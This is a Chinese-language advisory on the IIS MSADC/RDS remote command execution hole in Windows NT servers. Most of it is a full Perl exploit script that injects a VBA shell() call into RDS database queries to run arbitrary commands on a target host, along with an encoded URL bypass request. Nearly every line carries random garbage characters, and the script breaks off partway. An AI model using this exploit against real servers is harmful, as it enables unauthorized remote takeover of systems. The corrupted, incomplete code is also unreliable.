IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
:;N2hnHoG 4x?4[J~u[ 涉及程序:
->5[C0: ] Microsoft NT server
f- ~] k5eTfaxl 描述:
-5<G^AS 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
?T_bjALW +"JQ5~7 详细:
8W}rSv+ 如果你没有时间读详细内容的话,就删除:
Hzojv<c c:\Program Files\Common Files\System\Msadc\msadcs.dll
IS%e5 有关的安全问题就没有了。
A\QrawBp0l =$WDB=i 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
7x)32f" X oh@ (% 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
@+;
cFj 关于利用ODBC远程漏洞的描述,请参看:
w!
':Ws pzcof#2 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm {/K!cPp9 Dj x[3[' 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
#-K,," http://www.microsoft.com/security/bulletins/MS99-025faq.asp s+&iH T)*tCp] 这里不再论述。
-'RD%_ V*1-wg5> 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
15"[MX A D<(VP{,G /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
JJu}Ed_ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
(zIF2qY ]QmY`pTB` 1owe'7\J #将下面这段保存为txt文件,然后: "perl -x 文件名"
Ct386j>< 884 -\M"h #!perl
ms/Q- #
%^(} fu # MSADC/RDS 'usage' (aka exploit) script
>^Y)@J #
h#]LXs # by rain.forest.puppy
\\$wg #
K"g`,G6S # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
vKTCS # beta test and find errors!
d?>pcT)G_ !sav~dB) use Socket; use Getopt::Std;
?D=t:= getopts("e:vd:h:XR", \%args);
r lXMrn 2[5z6oG print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
trM)&aQto }Fb966 $ if (!defined $args{h} && !defined $args{R}) {
E9:p A5H-j print qq~
}!@X(S!do
Usage: msadc.pl -h <host> { -d <delay> -X -v }
Tizjh&*^ -h <host> = host you want to scan (ip or domain)
3Qu Ft~@@ -d <seconds> = delay between calls, default 1 second
GE |P )VO -X = dump Index Server path table, if available
hSU|rVi -v = verbose
Qd"u$~ qC -e = external dictionary file for step 5
xoNn'LF#u A&=`?4> Or a -R will resume a command session
b~Oc: Pc=:j( ~; exit;}
Y\{&chuF & 6~AY:0r $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
G-W(giF;NO if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
uG7ll5Yy if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
:hUt7/3c if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
9Q:}VpT~nG $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
.*+e?- if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
81Ityd-} f<P>IE if (!defined $args{R}){ $ret = &has_msadc;
$iOkn|~<@W die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
0xpE+GY VMV~K7%0 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
>@L^^-r . "cmd /c ";
%y R~dt' $in=<STDIN>; chomp $in;
^li(q]g1! $command="cmd /c " . $in ;
~:):.5o k"J=CDP\ if (defined $args{R}) {&load; exit;}
)*_n/^m h"ko4b3^'@ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
#{|F2AM &try_btcustmr;
c4xXsUBQk A.(xa+z? print "\nStep 2: Trying to make our own DSN...";
LJmRa &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
IC@-`S#F Z*lZl8(` print "\nStep 3: Trying known DSNs...";
2 [yfo8H &known_dsn;
mKhlYVn h!~u^Z.7< print "\nStep 4: Trying known .mdbs...";
&*!) d" &known_mdb;
5=9gH vm`\0VGSW if (defined $args{e}){
E>w|i print "\nStep 5: Trying dictionary of DSN names...";
eVujur$P &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
t7b\ #o aOTrng print "Sorry Charley...maybe next time?\n";
AX2On}&bf exit;
9$e6?<`(Y ]6TX)1
##############################################################################
J)a^3> -
u'5xn7 sub sendraw { # ripped and modded from whisker
L$s;tJ sleep($delay); # it's a DoS on the server! At least on mine...
h|Udw3N1L my ($pstr)=@_;
&Un^
_M socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Pqb])-M9p die("Socket problems\n");
]>k>Z#8E* if(connect(S,pack "SnA4x8",2,80,$target)){
7="I; select(S); $|=1;
!nyUAZ9 : print $pstr; my @in=<S>;
/d]{ #,k select(STDOUT); close(S);
`=rDB7!$yL return @in;
!Zma\Ip } else { die("Can't connect...\n"); }}
TrmU wNhtw'E8 ##############################################################################
zHW}A
`Rz ,.PmH.zjmR sub make_header { # make the HTTP request
?ZlN$h^ my $msadc=<<EOT
EJZb3 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
L$<(HQQJ8 User-Agent: ACTIVEDATA
Fg-4u&Ik Host: $ip
a]8}zSUK Content-Length: $clen
{1]/ok2k5 Connection: Keep-Alive
T^n0 =| ctWH?b/ua ADCClientVersion:01.06
x\2N
@*I: Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Hy0l"CA*| V(
bU=;Qo --!ADM!ROX!YOUR!WORLD!
R7-+@ Content-Type: application/x-varg
ejI nJ Content-Length: $reqlen
O^yDb }wR&0<HA EOT
Zi~-m]9U ; $msadc=~s/\n/\r\n/g;
o" ./ return $msadc;}
/6a617?9J SYmiDR ##############################################################################
k>dzeH )A H)*Mg sub make_req { # make the RDS request
r2; )VS my ($switch, $p1, $p2)=@_;
MuCnBx my $req=""; my $t1, $t2, $query, $dsn;
9q|36CAO_ @E@5/N6M if ($switch==1){ # this is the btcustmr.mdb query
j,i>
1|J $query="Select * from Customers where City=" . make_shell();
{]=oOy1 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
b^I(>l- $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
GMRFZw_M RFqf$ elsif ($switch==2){ # this is general make table query
qGPIKu $query="create table AZZ (B int, C varchar(10))";
#Mmr{4m $dsn="$p1";}
v$i[dZSN[ "I`g(q#Uo elsif ($switch==3){ # this is general exploit table query
wUBug $query="select * from AZZ where C=" . make_shell();
v a
j $dsn="$p1";}
q&N1| f7 Q]oCzSi elsif ($switch==4){ # attempt to hork file info from index server
e#jkp' $query="select path from scope()";
p^ojhrr $dsn="Provider=MSIDXS;";}
'}eA2Q>BV S((\KL, elsif ($switch==5){ # bad query
U>jLh57 $query="select";
\:D'u<8E $dsn="$p1";}
S&`iEwG "T,^>xD $t1= make_unicode($query);
M~k2Y$}R $t2= make_unicode($dsn);
4ZN&Yf` $req = "\x02\x00\x03\x00";
js<}>wD7< $req.= "\x08\x00" . pack ("S1", length($t1));
Msea kF $req.= "\x00\x00" . $t1 ;
G'qGsKf\ $req.= "\x08\x00" . pack ("S1", length($t2));
;]+p>p-# $req.= "\x00\x00" . $t2 ;
V]I+>Zn| 7 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
??tNMr5{[ return $req;}
K$(LiP E A8>{}Z*
##############################################################################
); <Le6 fPLi8`r sub make_shell { # this makes the shell() statement
Q N$Ac.F return "'|shell(\"$command\")|'";}
o#ajBOJ `tb@x ^ ##############################################################################
KJ&~z? X rAZsVnk? sub make_unicode { # quick little function to convert to unicode
cw)'vAE my ($in)=@_; my $out;
ubvXpK:. for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
`zZGL&9m` return $out;}
y~AF|Dk= 'E#;`}&Ah ##############################################################################
wX!>&Gc. V0!.>sX9
sub rdo_success { # checks for RDO return success (this is kludge)
A(<"oAe| my (@in) = @_; my $base=content_start(@in);
AJ`R2
$ if($in[$base]=~/multipart\/mixed/){
|?KdQeL return 1 if( $in[$base+10]=~/^\x09\x00/ );}
h-`*S&mZ return 0;}
|N/Wu9w$ hd E? %A ##############################################################################
g Q@fe3[ [hT|]|fJS; sub make_dsn { # this makes a DSN for us
o/Cu^[an my @drives=("c","d","e","f");
-WX{y Ci print "\nMaking DSN: ";
?6[X=GeUs foreach $drive (@drives) {
c3NUJ~>=y print "$drive: ";
p0S;$dH\D my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
C@8WY "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
4M4oI . . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
hz8Z)xjJ V $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
V.k2t$@ return 0 if $2 eq "404"; # not found/doesn't exist
XK 09x1r if($2 eq "200") {
z8"(Yy7m foreach $line (@results) {
9?xc3F2EBD return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
\X?GzQkr } return 0;}
qr~=S ~>]/1JFz ##############################################################################
WKwU:im m{)F9F sub verify_exists {
9 yE
my ($page)=@_;
gU^2;C my @results=sendraw("GET $page HTTP/1.0\n\n");
u(`,7 o " return $results[0];}
O)4P)KAO< !ufSO9eDx" ##############################################################################
|GQFNrNx *`HE$k! sub try_btcustmr {
AX= 4{b' my @drives=("c","d","e","f");
TT0~41&l my @dirs=("winnt","winnt35","winnt351","win","windows");
1-=zSWmyK 1*>lYd8_ foreach $dir (@dirs) {
DE^ @b+6 print "$dir -> "; # fun status so you can see progress
\?X'U: foreach $drive (@drives) {
^8#;>+7R print "$drive: "; # ditto
^:c"%<"=' $reqlen=length( make_req(1,$drive,$dir) ) - 28;
D`G ;kp $reqlenlen=length( "$reqlen" );
XtV=Gr8" $clen= 206 + $reqlenlen + $reqlen;
c!{]Z_d\ QE8aYPSFf my @results=sendraw(make_header() . make_req(1,$drive,$dir));
eT|"6WJ:{ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
9se,c else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
6*:mc \?9{H6<= ##############################################################################
6UkX?I`> sP+ZE>7 sub odbc_error {
JN
Ur?+g my (@in)=@_; my $base;
k^ZcgHHgb my $base = content_start(@in);
nd 5w|83 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
G2{.Ew $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?l3PDorR $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
BP7&wd $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
y,`SLgBID return $in[$base+4].$in[$base+5].$in[$base+6];}
re `B fN print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
aNW!Y':*
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
P}El#y#& $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
e I 6G qrj:H4#VB ##############################################################################
Ak\w)!?s ]qLro< sub verbose {
ua^gG3n0 my ($in)=@_;
.>{.!a return if !$verbose;
7Qc
4Oz:t print STDOUT "\n$in\n";}
!M[a/7x,p *UJ&9rQ ##############################################################################
-PI_* ^nS'3g^" sub save {
0{Kb1Ut my ($p1, $p2, $p3, $p4)=@_;
.<!Jhf$ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Ba9le|c5 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
.-6B6IEI_" close OUT;}
>$.lM~k LJ+fZ
N ##############################################################################
@\=%M^bx HZ#<+~J sub load {
f_&bwfbo my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
{y[T3(tt open(IN,"<rds.save") || die("Couldn't open rds.save\n");
+])St3h @p=<IN>; close(IN);
SRixT+E $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
#hOAG_a, $target= inet_aton($ip) || die("inet_aton problems");
sKkk+-J4 print "Resuming to $ip ...";
&4%j $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
)i;o\UU if($p[1]==1) {
#Zm%U_$< $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
\*5_gPj!d $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
T =l4Vb{> my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
j>5D4}*]f if (rdo_success(@results)){print "Success!\n";}
%Tn0r|K else { print "failed\n"; verbose(odbc_error(@results));}}
,pgpu ! elsif ($p[1]==3){
nI-^ if(run_query("$p[3]")){
;JK!dzi} print "Success!\n";} else { print "failed\n"; }}
<oE(I)r4, elsif ($p[1]==4){
UY_'F5X if(run_query($drvst . "$p[3]")){
4;*o}E print "Success!\n"; } else { print "failed\n"; }}
{hr+ENgV exit;}
Wa8?o~0"L @"6dq;" ##############################################################################
hY?x14m$3 o+H;ZGT5H sub create_table {
{ws:g![ my ($in)=@_;
"v"w ER? $reqlen=length( make_req(2,$in,"") ) - 28;
483BrFV $reqlenlen=length( "$reqlen" );
\9*,[mvC $clen= 206 + $reqlenlen + $reqlen;
qw!_/Z3[ my @results=sendraw(make_header() . make_req(2,$in,""));
7,sslf2%K return 1 if rdo_success(@results);
FE)L? my $temp= odbc_error(@results); verbose($temp);
(5SN=6O return 1 if $temp=~/Table 'AZZ' already exists/;
03iD(,@ return 0;}
*
7ki$f! &J\V
!uVo ##############################################################################
*}t,:N;i )1KlcF sub known_dsn {
JVzU'd;1! # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
]"3(UKx my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
@bN`+DC!< "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
H$
!78/f "banner", "banners", "ads", "ADCDemo", "ADCTest");
v Kzq7E .}}w@NO foreach $dSn (@dsns) {
FM c9oyU~ print ".";
50:$km\ next if (!is_access("DSN=$dSn"));
-! dL
< if(create_table("DSN=$dSn")){
a!1\,. print "$dSn successful\n";
7PDz ]i if(run_query("DSN=$dSn")){
OZ*V7o print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Bu ~N)^ print "Something's borked. Use verbose next time\n";}}} print "\n";}
IT3xX=|b 0 ttM_]#q ##############################################################################
"Q:m0P
xb lbw*T sub is_access {
n]/7UH}(<& my ($in)=@_;
(z}q6Lfa $reqlen=length( make_req(5,$in,"") ) - 28;
~*|0yPFg $reqlenlen=length( "$reqlen" );
>f [Lb|t $clen= 206 + $reqlenlen + $reqlen;
)"im|9 my @results=sendraw(make_header() . make_req(5,$in,""));
vwZrvjP2 my $temp= odbc_error(@results);
-?A,N,nnX verbose($temp); return 1 if ($temp=~/Microsoft Access/);
2d,q?VH$ return 0;}
je^!W?U4< k{/2vV[`] ##############################################################################
0L
"+, PKoB~wLH sub run_query {
<z3:*=! my ($in)=@_;
Z|YiYQl[) $reqlen=length( make_req(3,$in,"") ) - 28;
%)7HBj(*J $reqlenlen=length( "$reqlen" );
'J&&